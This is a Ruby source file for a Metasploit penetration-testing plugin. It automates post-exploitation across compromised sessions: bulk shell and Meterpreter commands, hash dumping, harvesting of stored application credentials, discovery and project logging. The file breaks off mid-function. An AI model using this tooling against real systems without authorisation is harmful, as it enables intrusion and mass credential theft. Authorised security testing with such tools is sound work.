# Copyright (c) 2017, Carlos Perez <carlos_perez[at]darkoperator.com
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted
# provided that the following conditions are met:
#
# Redistributions of source code must retain the above copyright notice, this list of conditions and
# the following disclaimer.
#
# Redistributions in binary form must reproduce the above copyright notice, this list of conditions
# and the following disclaimer in the documentation and/or other materials provided with the
# distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
# IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
module Msf
class Plugin::Pentest < Msf::Plugin

  # Post Exploitation command class
  ################################################################################################
  class PostautoCommandDispatcher

    include Msf::Auxiliary::Report
    include Msf::Ui::Console::CommandDispatcher

    def name
      "Postauto"
    end

    def commands
      {
        'multi_post'        => "Run a post module against specified sessions.",
        'multi_post_rc'     => "Run resource file with post modules and options against specified sessions.",
        'multi_meter_cmd'   => "Run a Meterpreter Console Command against specified sessions.",
        'multi_meter_cmd_rc'=> "Run resource file with Meterpreter Console Commands against specified sessions.",
        "multi_cmd"         => "Run shell command against several sessions",
        "sys_creds"         => "Run system password collection modules against specified sessions.",
        "app_creds"         => "Run application password collection modules against specified sessions.",
        "get_lhost"         => "List local IP addresses that can be used for LHOST."
      }
    end


    def cmd_get_lhost(*args)

      opts = Rex::Parser::Arguments.new(
        "-h"   => [ false,  "Command help."]
      )
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-h"
          print_line("Command for listing local IP Addresses that can be used with LHOST.")
          print_line(opts.usage)
          return
        else
          print_line(opts.usage)
          return
        end
      end

      print_status("Local host IP addresses:")
      Socket.ip_address_list.each do |a|
        if !(a.ipv4_loopback?()|a.ipv6_linklocal?()|a.ipv6_loopback?())
          print_good("\t#{a.ip_address}")
        end
      end
      print_line
    end
    # Multi shell command
    def cmd_multi_cmd(*args)
      # Define options
      opts = Rex::Parser::Arguments.new(
        "-s"   => [ true, "Comma separated list sessions to run modules against."],
        "-c"   => [ true, "Shell command to run."],
        "-p"   => [ true, "Platform to run the command against. If none given it will run against all."],
        "-h"   => [ false,  "Command Help."]
      )

      # set variables for options
      sessions = []
      command = ""
      plat = ""

      # Parse options
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-s"
          if val =~ /all/i
            sessions = framework.sessions.keys
          else
            sessions = val.split(",")
          end
        when "-c"
          command = val
        when "-p"
          plat = val
        when "-h"
          print_line(opts.usage)
          return
        else
          print_line(opts.usage)
          return
        end
      end

      # Make sure that proper values where provided
      if not sessions.empty? and not command.empty?
        # Iterate thru the session IDs
        sessions.each do |s|
          # Set the session object
          session = framework.sessions[s.to_i]
          if session.platform =~ /#{plat}/i || plat.empty?
            host = session.tunnel_peer.split(":")[0]
            print_line("Running #{command} against session #{s}")
            # Run the command
            cmd_out = session.shell_command_token(command)
            # Print good each line of the command output
            if not cmd_out.nil?
              cmd_out.each_line do |l|
                print_line(l.chomp)
              end
              file_name = "#{File.join(Msf::Config.loot_directory,"#{Time.now.strftime("%Y%m%d%H%M%S")}_command.txt")}"
              framework.db.report_loot({ :host=> host,
                  :path  => file_name,
                  :ctype => "text/plain",
                  :ltype => "host.command.shell",
                  :data  => cmd_out,
                  :name  => "#{host}.txt",
                  :info  => "Output of command #{command}" })
            else
              print_error("No output or error when running the command.")
            end
          end
        end
      else
        print_error("You must specify both a session and a command.")
        print_line(opts.usage)
        return
      end
    end

    # browser_creds Command
    #-------------------------------------------------------------------------------------------
    def cmd_app_creds(*args)
      opts = Rex::Parser::Arguments.new(
        "-s"   => [ true, "Sessions to run modules against. Example <all> or <1,2,3,4>"],
        "-h"   => [ false,  "Command Help"]
      )
      cred_mods = [
        {"mod" => "windows/gather/credentials/wsftp_client", "opt" => nil},
        {"mod" => "windows/gather/credentials/winscp", "opt" => nil},
        {"mod" => "windows/gather/credentials/windows_autologin", "opt" => nil},
        {"mod" => "windows/gather/credentials/vnc", "opt" => nil},
        {"mod" => "windows/gather/credentials/trillian", "opt" => nil},
        {"mod" => "windows/gather/credentials/total_commander", "opt" => nil},
        {"mod" => "windows/gather/credentials/smartftp", "opt" => nil},
        {"mod" => "windows/gather/credentials/outlook", "opt" => nil},
        {"mod" => "windows/gather/credentials/nimbuzz", "opt" => nil},
        {"mod" => "windows/gather/credentials/mremote", "opt" => nil},
        {"mod" => "windows/gather/credentials/imail", "opt" => nil},
        {"mod" => "windows/gather/credentials/idm", "opt" => nil},
        {"mod" => "windows/gather/credentials/flashfxp", "opt" => nil},
        {"mod" => "windows/gather/credentials/filezilla_server", "opt" => nil},
        {"mod" => "windows/gather/credentials/meebo", "opt" => nil},
        {"mod" => "windows/gather/credentials/razorsql", "opt" => nil},
        {"mod" => "windows/gather/credentials/coreftp", "opt" => nil},
        {"mod" => "windows/gather/credentials/imvu", "opt" => nil},
        {"mod" => "windows/gather/credentials/epo_sql", "opt" => nil},
        {"mod" => "windows/gather/credentials/gpp", "opt" => nil},
        {"mod" => "windows/gather/credentials/enum_picasa_pwds", "opt" => nil},
        {"mod" => "windows/gather/credentials/tortoisesvn", "opt" => nil},
        {"mod" => "windows/gather/credentials/ftpnavigator", "opt" => nil},
        {"mod" => "windows/gather/credentials/dyndns", "opt" => nil},
        {"mod" => "windows/gather/credentials/bulletproof_ftp", "opt" => nil},
        {"mod" => "windows/gather/credentials/enum_cred_store", "opt" => nil},
        {"mod" => "windows/gather/credentials/ftpx", "opt" => nil},
        {"mod" => "windows/gather/credentials/razer_synapse", "opt" => nil},
        {"mod" => "windows/gather/credentials/sso", "opt" => nil},
        {"mod" => "windows/gather/credentials/steam", "opt" => nil},
        {"mod" => "windows/gather/enum_ie", "opt" => nil},
        {"mod" => "multi/gather/ssh_creds", "opt" => nil},
        {"mod" => "multi/gather/pidgin_cred", "opt" => nil},
        {"mod" => "multi/gather/firefox_creds", "opt" => nil},
        {"mod" => "multi/gather/filezilla_client_cred", "opt" => nil},
        {"mod" => "multi/gather/fetchmailrc_creds", "opt" => nil},
        {"mod" => "multi/gather/thunderbird_creds", "opt" => nil},
        {"mod" => "multi/gather/netrc_creds", "opt" => nil},
        {"mod" => "/multi/gather/gpg_creds", "opt" => nil}
      ]

      # Parse options
      if args.length == 0
        print_line(opts.usage)
        return
      end
      sessions = ""

      opts.parse(args) do |opt, idx, val|
        case opt
        when "-s"
          sessions = val
        when "-h"
          print_line(opts.usage)
          return
        else
          print_line(opts.usage)
          return
        end
      end
      if not sessions.empty?
        cred_mods.each do |p|
          m = framework.post.create(p["mod"])
          next if m == nil

          # Set Sessions to be processed
          if sessions =~ /all/i
            session_list = m.compatible_sessions
          else
            session_list = sessions.split(",")
          end
          session_list.each do |s|
            begin
              if m.session_compatible?(s.to_i)
                m.datastore['SESSION'] = s.to_i
                if p['opt']
                  opt_pair = p['opt'].split("=",2)
                  m.datastore[opt_pair[0]] = opt_pair[1]
                end
                m.options.validate(m.datastore)
                print_line("")
                print_line("Running #{p['mod']} against #{s}")
                m.run_simple(
                  'LocalInput'  => driver.input,
                  'LocalOutput' => driver.output
                )
              end
            rescue
              print_error("Could not run post module against sessions #{s}.")
            end
          end
        end
      else
        print_line(opts.usage)
        return
      end
    end

    # sys_creds Command
    #-------------------------------------------------------------------------------------------
    def cmd_sys_creds(*args)
      opts = Rex::Parser::Arguments.new(
        "-s"   => [ true, "Sessions to run modules against. Example <all> or <1,2,3,4>"],
        "-h"   => [ false,  "Command Help"]
      )
      cred_mods = [
        {"mod" => "windows/gather/cachedump", "opt" => nil},
        {"mod" => "windows/gather/smart_hashdump", "opt" => "GETSYSTEM=true"},
        {"mod" => "windows/gather/credentials/gpp", "opt" => nil},
        {"mod" => "osx/gather/hashdump", "opt" => nil},
        {"mod" => "linux/gather/hashdump", "opt" => nil},
        {"mod" => "solaris/gather/hashdump", "opt" => nil},
      ]

      # Parse options

      sessions = ""
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-s"
          sessions = val
        when "-h"
          print_line(opts.usage)
          return
        else
          print_line(opts.usage)
          return
        end
      end
      if not sessions.empty?
        cred_mods.each do |p|
          m = framework.post.create(p["mod"])
          # Set Sessions to be processed
          if sessions =~ /all/i
            session_list = m.compatible_sessions
          else
            session_list = sessions.split(",")
          end
          session_list.each do |s|
            if m.session_compatible?(s.to_i)
              m.datastore['SESSION'] = s.to_i
              if p['opt']
                opt_pair = p['opt'].split("=",2)
                m.datastore[opt_pair[0]] = opt_pair[1]
              end
              m.options.validate(m.datastore)
              print_line("")
              print_line("Running #{p['mod']} against #{s}")
              m.run_simple(
                'LocalInput'  => driver.input,
                'LocalOutput' => driver.output
              )
            end
          end
        end
      else
        print_line(opts.usage)
        return
      end
    end

    # Multi_post Command
    #-------------------------------------------------------------------------------------------

    # Function for doing auto complete on module name
    def tab_complete_module(str, words)
      res = []
      framework.modules.module_types.each do |mtyp|
        mset = framework.modules.module_names(mtyp)
        mset.each do |mref|
          res << mtyp + '/' + mref
        end
      end

      return res.sort
    end

    # Function  to do tab complete on modules for multi_post
    def cmd_multi_post_tabs(str, words)
      tab_complete_module(str, words)
    end

    # Function for the multi_post command
    def cmd_multi_post(*args)
      opts = Rex::Parser::Arguments.new(
        "-s"   => [ true,   "Sessions to run module against. Example <all> or <1,2,3,4>"],
        "-m"   => [ true,   "Module to run against sessions."],
        "-o"   => [ true,   "Module options."],
        "-h"   => [ false,  "Command Help."]
      )
      post_mod = ""
      mod_opts = nil
      sessions = ""

      # Parse options
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-s"
          sessions = val
        when "-m"
          post_mod = val.gsub(/^post\//,"")
        when "-o"
          mod_opts = val
        when "-h"
          print_line opts.usage
          return
        else
          print_status "Please specify a module to run with the -m option."
          return
        end
      end
      # Make sure that proper values where provided
      if not sessions.empty? and not post_mod.empty?
        # Set and execute post module with options
        print_line("Loading #{post_mod}")
        m = framework.post.create(post_mod)
        if sessions =~ /all/i
          session_list = m.compatible_sessions
        else
          session_list = sessions.split(",")
        end
        if session_list
          session_list.each do |s|
            if m.session_compatible?(s.to_i)
              print_line("Running against #{s}")
              m.datastore['SESSION'] = s.to_i
              if mod_opts
                mod_opts.each do |o|
                  opt_pair = o.split("=",2)
                  print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
                  m.datastore[opt_pair[0]] = opt_pair[1]
                end
              end
              m.options.validate(m.datastore)
              m.run_simple(
                'LocalInput'  => driver.input,
                'LocalOutput' => driver.output
              )
            else
              print_error("Session #{s} is not compatible with #{post_mod}.")
            end
          end
        else
          print_error("No compatible sessions were found.")
        end
      else
        print_error("A session or Post Module where not specified.")
        print_line(opts.usage)
        return
      end
    end

    # Multi_post_rc Command
    #-------------------------------------------------------------------------------------------
    def cmd_multi_post_rc_tabs(str, words)
        tab_complete_filenames(str, words)
    end

    def cmd_multi_post_rc(*args)
      opts = Rex::Parser::Arguments.new(
        "-rc"  => [ true,   "Resource file with space separate values <session> <module> <options>, per line."],
        "-h"   => [ false,  "Command Help."]
      )
      post_mod = nil
      session_list = nil
      mod_opts = nil
      entries = []
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-rc"
          script = val
          if not ::File.exists?(script)
            print_error "Resource File does not exists!"
            return
          else
            ::File.open(script, "r").each_line do |line|
              # Empty line
              next if line.strip.length < 1
              # Comment
              next if line[0,1] == "#"
              entries << line.chomp
            end
          end
        when "-h"
          print_line opts.usage
          return
        else
          print_line opts.usage
          return
        end
      end
      if entries
        entries.each do |l|
          values = l.split
          sessions = values[0]
          post_mod = values[1]
          if values.length == 3
            mod_opts = values[2].split(",")
          end
          print_line("Loading #{post_mod}")
          m= framework.post.create(post_mod.gsub(/^post\//,""))
          if sessions =~ /all/i
            session_list = m.compatible_sessions
          else
            session_list = sessions.split(",")
          end
          session_list.each do |s|
            if m.session_compatible?(s.to_i)
              print_line("Running Against #{s}")
              m.datastore['SESSION'] = s.to_i
              if mod_opts
                mod_opts.each do |o|
                  opt_pair = o.split("=",2)
                  print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
                  m.datastore[opt_pair[0]] = opt_pair[1]
                end
              end
              m.options.validate(m.datastore)
              m.run_simple(
                'LocalInput'  => driver.input,
                'LocalOutput' => driver.output
              )
            else
              print_error("Session #{s} is not compatible with #{post_mod}")
            end
          end
        end
      else
        print_error("Resource file was empty!")
      end
    end

    # Multi_meter_cmd Command
    #-------------------------------------------------------------------------------------------
    def cmd_multi_meter_cmd(*args)
      opts = Rex::Parser::Arguments.new(
        "-s"   => [ true,   "Sessions to run Meterpreter Console Command against. Example <all> or <1,2,3,4>"],
        "-c"   => [ true,   "Meterpreter Console Command to run against sessions."],
        "-h"   => [ false,  "Command Help."]
      )
      command = nil
      session = nil

      # Parse options
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-s"
          session = val
        when "-c"
          command = val
        when "-h"
          print_line opts.usage
          return
        else
          print_status "Please specify a command to run with the -m option."
          return
        end
      end
      current_sessions = framework.sessions.keys.sort
      if session =~/all/i
        sessions = current_sessions
      else
        sessions = session.split(",")
      end
      sessions.each do |s|
        # Check if session is in the current session list.
        next if not current_sessions.include?(s.to_i)
        # Get session object
        session = framework.sessions.get(s.to_i)
        # Check if session is meterpreter and run command.
        if (session.type == "meterpreter")
          print_line("Running command #{command} against session #{s}")
          session.console.run_single(command)
        else
          print_line("Session #{s} is not a Meterpreter session!")
        end
      end
    end

    # Multi_post_rc Command
    #-------------------------------------------------------------------------------------------
    def cmd_multi_meter_cmd_rc(*args)
      opts = Rex::Parser::Arguments.new(
        "-rc"  => [ true,   "Resource file with space separate values <session> <command>, per line."],
        "-h"   => [ false,  "Command Help"]
      )
      entries = []
      script = nil
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-rc"
          script = val
          if not ::File.exists?(script)
            print_error "Resource File does not exists"
            return
          else
            ::File.open(script, "r").each_line do |line|
              # Empty line
              next if line.strip.length < 1
              # Comment
              next if line[0,1] == "#"
              entries << line.chomp
            end
          end
        when "-h"
          print_line opts.usage
          return
        else
          print_line opts.usage
          return
        end
      end
      entries.each do |entrie|
        session_parm,command = entrie.split(" ", 2)
        current_sessions = framework.sessions.keys.sort
        if session_parm =~ /all/i
          sessions = current_sessions
        else
          sessions = session_parm.split(",")
        end
        sessions.each do |s|
          # Check if session is in the current session list.
          next if not current_sessions.include?(s.to_i)
          # Get session object
          session = framework.sessions.get(s.to_i)
          # Check if session is meterpreter and run command.
          if (session.type == "meterpreter")
            print_line("Running command #{command} against session #{s}")
            session.console.run_single(command)
          else
            print_line("Session #{s} is not a Meterpreter sessions.")
          end
        end
      end
    end
  end

  # Project handling commands
  ################################################################################################
  class ProjectCommandDispatcher
    include Msf::Ui::Console::CommandDispatcher

    # Set name for command dispatcher
    def name
      "Project"
    end

    # Define Commands
    def commands
      {
        "project"     => "Command for managing projects.",
      }
    end

    def cmd_project(*args)
      # variable
      project_name = ""
      create = false
      delete = false
      history = false
      switch = false
      archive = false
      arch_path = ::File.join(Msf::Config.log_directory,"archives")
      # Define options
      opts = Rex::Parser::Arguments.new(
        "-c"   => [ false,  "Create a new Metasploit project and sets logging for it."],
        "-d"   => [ false,  "Delete a project created by the plugin."],
        "-s"   => [ false,  "Switch to a project created by the plugin."],
        "-a"   => [ false,  "Export all history and DB and archive it in to a zip file for current project."],
        "-p"   => [ true,   "Path to save archive, if none provide default ~/.msf4/archives will be used."],
        "-r"   => [ false,  "Create time stamped RC files of Meterpreter Sessions and console history for current project."],
        "-ph"  => [ false,  "Generate resource files for sessions and console. Generate time stamped session logs for current project."],
        "-l"   => [ false,  "List projects created by plugin."],
        "-h"   => [ false,  "Command Help"]
      )
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-p"
          if ::File.directory?(val)
            arch_path =  val
          else
            print_error("Path provided for archive does not exists!")
            return
          end
        when "-d"
          delete = true
        when "-s"
          switch = true
        when "-a"
          archive = true
        when "-c"
          create = true
        when "-r"
          make_console_rc
          make_sessions_rc
        when "-h"
          print_line(opts.usage)
          return
        when "-l"
          list
          return
        when "-ph"
          history = true
        else
          project_name = val.gsub(" ","_").chomp
        end
      end
      if project_name and create
        project_create(project_name)
      elsif project_name and delete
        project_delete(project_name)
      elsif project_name and switch
        project_switch(project_name)
      elsif archive
        project_archive(arch_path)
      elsif history
        project_history
      else
        list
      end
    end

    def project_delete(project_name)
      # Check if project exists
      if project_list.include?(project_name)
        current_workspace = framework.db.workspace.name
        if current_workspace == project_name
          driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
        end
        workspace = framework.db.find_workspace(project_name)
        if workspace.default?
          workspace.destroy
          workspace = framework.db.add_workspace(project_name)
          print_line("Deleted and recreated the default workspace")
        else
          # switch to the default workspace if we're about to delete the current one
          framework.db.workspace = framework.db.default_workspace if framework.db.workspace.name == workspace.name
          # now destroy the named workspace
          workspace.destroy
          print_line("Deleted workspace: #{project_name}")
        end
        project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
        ::FileUtils.rm_rf(project_path)
        print_line("Project folder #{project_path} has been deleted")
      else
        print_error("Project was not found on list of projects!")
      end
      return true
    end

    # Switch to another project created by the plugin
    def project_switch(project_name)
      # Check if project exists
      if project_list.include?(project_name)
        print_line("Switching to #{project_name}")
        # Disable spooling for current
        driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)

        # Switch workspace
        workspace = framework.db.find_workspace(project_name)
        framework.db.workspace = workspace
        print_line("Workspace: #{workspace.name}")

        # Spool
        spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
        spool_file = ::File.join(spool_path,"#{project_name}_spool.log")

        # Start spooling for new workspace
        driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
        print_line("Spooling to file #{spool_file}...")
        print_line("Successfully migrated to #{project_name}")

      else
        print_error("Project was not found on list of projects!")
      end
      return true
    end

    # List current projects created by the plugin
    def list
      current_workspace = framework.db.workspace.name
      print_line("List of projects:")
      project_list.each do |p|
        if current_workspace == p
          print_line("\t* #{p}")
        else
          print_line("\t#{p}")
        end
      end
      return true
    end

    # Archive project in to a zip file
    def project_archive(archive_path)
      # Set variables for options
      project_name = framework.db.workspace.name
      project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
      archive_name =  "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.zip"
      db_export_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.xml"
      db_out = ::File.join(project_path,db_export_name)
      format = "xml"
      print_line("Exporting DB Workspace #{project_name}")
      exporter = Msf::DBManager::Export.new(framework.db.workspace)
      exporter.send("to_#{format}_file".intern,db_out) do |mtype, mstatus, mname|
        if mtype == :status
          if mstatus == "start"
            print_line("  >> Starting export of #{mname}")
          end
          if mstatus == "complete"
            print_line("  >> Finished export of #{mname}")
          end
        end
      end
      print_line("Finished export of workspace #{framework.db.workspace.name} to #{db_out} [ #{format} ]...")
      print_line("Disabling spooling for #{project_name}")
      driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
      print_line("Spooling disabled for archiving")
      archive_full_path = ::File.join(archive_path,archive_name)
      make_console_rc
      make_sessions_rc
      make_sessions_logs
      compress(project_path,archive_full_path)
      print_line("MD5 for archive is #{digestmd5(archive_full_path)}")
      # Spool
      spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
      spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
      print_line("Spooling re-enabled")
      # Start spooling for new workspace
      driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
      print_line("Spooling to file #{spool_file}...")
      return true
    end

    # Export Command History for Sessions and Console
    #-------------------------------------------------------------------------------------------
    def project_history
      make_console_rc
      make_sessions_rc
      make_sessions_logs
      return true
    end

    # Create a new project Workspace and enable logging
    #-------------------------------------------------------------------------------------------
    def project_create(project_name)
      # Make sure that proper values where provided
      spool_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
      ::FileUtils.mkdir_p(spool_path)
      spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
      if framework.db and framework.db.active
        print_line("Creating DB Workspace named #{project_name}")
        workspace = framework.db.add_workspace(project_name)
        framework.db.workspace = workspace
        print_line("Added workspace: #{workspace.name}")
        driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
        print_line("Spooling to file #{spool_file}...")
      else
        print_error("A database most be configured and connected to create a project")
      end

      return true
    end

    # Method for creating a console resource file from all commands entered in the console
    #-------------------------------------------------------------------------------------------
    def make_console_rc
      # Set RC file path and file name
      rc_file = "#{framework.db.workspace.name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
      consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
      rc_full_path = ::File.join(consonle_rc_path,rc_file)

      # Create folder
      ::FileUtils.mkdir_p(consonle_rc_path)
      con_rc = ""
      framework.db.workspace.events.each do |e|
        if not e.info.nil? and e.info.has_key?(:command) and not e.info.has_key?(:session_type)
          con_rc << "# command executed at #{e.created_at}\n"
          con_rc << "#{e.info[:command]}\n"
        end
      end

      # Write RC console file
      print_line("Writing Console RC file to #{rc_full_path}")
      file_write(rc_full_path, con_rc)
      print_line("RC file written")

      return rc_full_path
    end

    # Method for creating individual rc files per session using the session uuid
    #-------------------------------------------------------------------------------------------
    def make_sessions_rc
      sessions_uuids = []
      sessions_info = []
      info = ""
      rc_file = ""
      rc_file_name = ""
      rc_list =[]

      framework.db.workspace.events.each do |e|
        if not e.info.nil? and e.info.has_key?(:command) and e.info[:session_type] =~ /meter/
          if e.info[:command] != "load stdapi"
            if not sessions_uuids.include?(e.info[:session_uuid])
              sessions_uuids << e.info[:session_uuid]
              sessions_info << {:uuid => e.info[:session_uuid],
                :type => e.info[:session_type],
                :id => e.info[:session_id],
                :info => e.info[:session_info]}
            end
          end
        end
      end

      sessions_uuids.each do |su|
        sessions_info.each do |i|
          if su == i[:uuid]
            print_line("Creating RC file for Session #{i[:id]}")
            rc_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
            i.each do |k,v|
              info << "#{k.to_s}: #{v.to_s} "
            end
            break
          end
        end
        rc_file << "# Info: #{info}\n"
        info = ""
        framework.db.workspace.events.each do |e|
          if not e.info.nil? and e.info.has_key?(:command) and e.info.has_key?(:session_uuid)
            if e.info[:session_uuid] == su
              rc_file << "# command executed at #{e.created_at}\n"
              rc_file << "#{e.info[:command]}\n"
            end
          end
        end
        # Set RC file path and file name
        consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
        rc_full_path = ::File.join(consonle_rc_path,rc_file_name)
        print_line("Saving RC file to #{rc_full_path}")
        file_write(rc_full_path, rc_file)
        rc_file = ""
        print_line("RC file written")
        rc_list << rc_full_path
      end

      return rc_list
    end

    # Method for exporting session history with output
    #-------------------------------------------------------------------------------------------
    def make_sessions_logs
      sessions_uuids = []
      sessions_info = []
      info = ""
      hist_file = ""
      hist_file_name = ""
      log_list = []

      # Create list of sessions with base info
      framework.db.workspace.events.each do |e|
        if not e.info.nil? and e.info[:session_type] =~ /shell/ or e.info[:session_type] =~ /meter/
          if e.info[:command] != "load stdapi"
            if not sessions_uuids.include?(e.info[:session_uuid])
              sessions_uuids << e.info[:session_uuid]
              sessions_info << {:uuid => e.info[:session_uuid],
                :type => e.info[:session_type],
                :id => e.info[:session_id],
                :info => e.info[:session_info]}
            end
          end
        end
      end

      sessions_uuids.each do |su|
        sessions_info.each do |i|
          if su == i[:uuid]
            print_line("Exporting Session #{i[:id]} history")
            hist_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.log"
            i.each do |k,v|
              info << "#{k.to_s}: #{v.to_s} "
            end
            break
          end
        end
        hist_file << "# Info: #{info}\n"
        info = ""
        framework.db.workspace.events.each do |e|
          if not e.info.nil? and e.info.has_key?(:command) or e.info.has_key?(:output)
            if e.info[:session_uuid] == su
              if e.info.has_key?(:command)
                hist_file << "#{e.updated_at}\n"
                hist_file << "#{e.info[:command]}\n"
              elsif e.info.has_key?(:output)
                hist_file << "#{e.updated_at}\n"
                hist_file << "#{e.info[:output]}\n"
              end
            end
          end
        end

        # Set RC file path and file name
        session_hist_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
        session_hist_fullpath = ::File.join(session_hist_path,hist_file_name)

        # Create folder
        ::FileUtils.mkdir_p(session_hist_path)

        print_line("Saving log file to #{session_hist_fullpath}")
        file_write(session_hist_fullpath, hist_file)
        hist_file = ""
        print_line("Log file written")
        log_list << session_hist_fullpath
      end

      return log_list
    end

    # Compress a given folder given it's path
    #-------------------------------------------------------------------------------------------
    def compress(path,archive)
      require 'zip/zip'
      require 'zip/zipfilesystem'

      path.sub!(%r[/$],'')
      ::Zip::ZipFile.open(archive, 'w') do |zipfile|
        Dir["#{path}/**/**"].reject{|f|f==archive}.each do |file|
          print_line("Adding #{file} to archive")
          zipfile.add(file.sub(path+'/',''),file)
        end
      end
      print_line("All files saved to #{archive}")
    end

    # Method to write string to file
    def file_write(file2wrt, data2wrt)
      if not ::File.exists?(file2wrt)
        ::FileUtils.touch(file2wrt)
      end

      output = ::File.open(file2wrt, "a")
      data2wrt.each_line do |d|
        output.puts(d)
      end
      output.close
    end

    # Method to create MD5 of given file
    def digestmd5(file2md5)
      if not ::File.exists?(file2md5)
        raise "File #{file2md5} does not exists!"
      else
        require 'digest/md5'
        chksum = nil
        chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
        return chksum
      end
    end

    # Method that returns a hash of projects
    def project_list
      project_folders = Dir::entries(::File.join(Msf::Config.log_directory,"projects"))
      projects = []
      framework.db.workspaces.each do |s|
        if project_folders.include?(s.name)
          projects << s.name
        end
      end
      return projects
    end

  end

  # Discovery handling commands
  ################################################################################################
  class DiscoveryCommandDispatcher
    include Msf::Ui::Console::CommandDispatcher

    # Set name for command dispatcher
    def name
      "Discovery"
    end


    # Define Commands
    def commands
      {
        "network_discover"       => "Performs a port-scan and enumeration of services found for non pivot networks.",
        "discover_db"            => "Run discovery modules against current hosts in the database.",
        "show_session_networks"  => "Enumerate the networks one could pivot thru Meterpreter in the active sessions.",
        "pivot_network_discover" => "Performs enumeration of networks available to a specified Meterpreter session."
      }
    end


    def cmd_discover_db(*args)
      # Variables
      range = []
      filter = []
      smb_user = nil
      smb_pass = nil
      smb_dom = "WORKGROUP"
      maxjobs = 30
      verbose = false

      # Define options
      opts = Rex::Parser::Arguments.new(
        "-r"   => [ true,   "Provide a IPRange or CIDR to run discovery module against."],
        "-U"   => [ true,   "SMB User-name for discovery(optional)."],
        "-P"   => [ true,   "SMB Password for discovery(optional)."],
        "-D"   => [ true,   "SMB Domain for discovery(optional)."],
        "-j"   => [ true,   "Max number of concurrent jobs. Default is 30"],
        "-v"   => [ false,  "Be Verbose when running jobs."],
        "-h"   => [ false,  "Help Message."]
      )

      opts.parse(args) do |opt, idx, val|
        case opt

        when "-r"
          range = val
        when "-U"
          smb_user = val
        when "-P"
          smb_pass = val
        when "-D"
          smb_dom = val
        when "-j"
          maxjobs = val.to_i
        when "-v"
          verbose = true
        when "-h"
          print_line opts.usage
          return
        end
      end

      # generate a list of IPs to filter
      Rex::Socket::RangeWalker.new(range).each do |i|
        filter << i
      end
      #after_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
      framework.db.workspace.hosts.each do |h|
        if filter.empty?
          run_smb(h.services.where(state: "open"),smb_user,smb_pass,smb_dom,maxjobs, verbose)
          run_version_scans(h.services.where(state: "open"),maxjobs, verbose)
        else
          if filter.include?(h.address)
            # Run the discovery modules for the services of each host
            run_smb(h.services,smb_user,smb_pass,smb_dom,maxjobs, verbose)
            run_version_scans(h.services,maxjobs, verbose)
          end
        end
      end
    end


    def cmd_show_session_networks(*args)
      #option variables
      session_list = nil
      opts = Rex::Parser::Arguments.new(
        "-s"   => [ true, "Sessions to enumerate networks against. Example <all> or <1,2,3,4>."],
        "-h"   => [ false,  "Help Message."]
      )

      opts.parse(args) do |opt, idx, val|
        case opt
        when "-s"
          if val =~ /all/i
            session_list = framework.sessions.keys
          else
            session_list = val.split(",")
          end
        when "-h"
          print_line("This command will show the networks that can be routed thru a Meterpreter session.")
          print_line(opts.usage)
          return
        else
          print_line("This command will show the networks that can be routed thru a Meterpreter session.")
          print_line(opts.usage)
          return
        end
      end
      tbl = ::Rex::Text::Table.new(
        'Columns' => [
          'Network',
          'Netmask',
          'Session'
        ])
      # Go thru each sessions specified
      if !session_list.nil?
        session_list.each do |si|
          # check that session actually exists
          if framework.sessions.keys.include?(si.to_i)
            # Get session object
            session = framework.sessions.get(si.to_i)
            # Check that it is a Meterpreter session
            if (session.type == "meterpreter")
              session.net.config.each_route do |route|
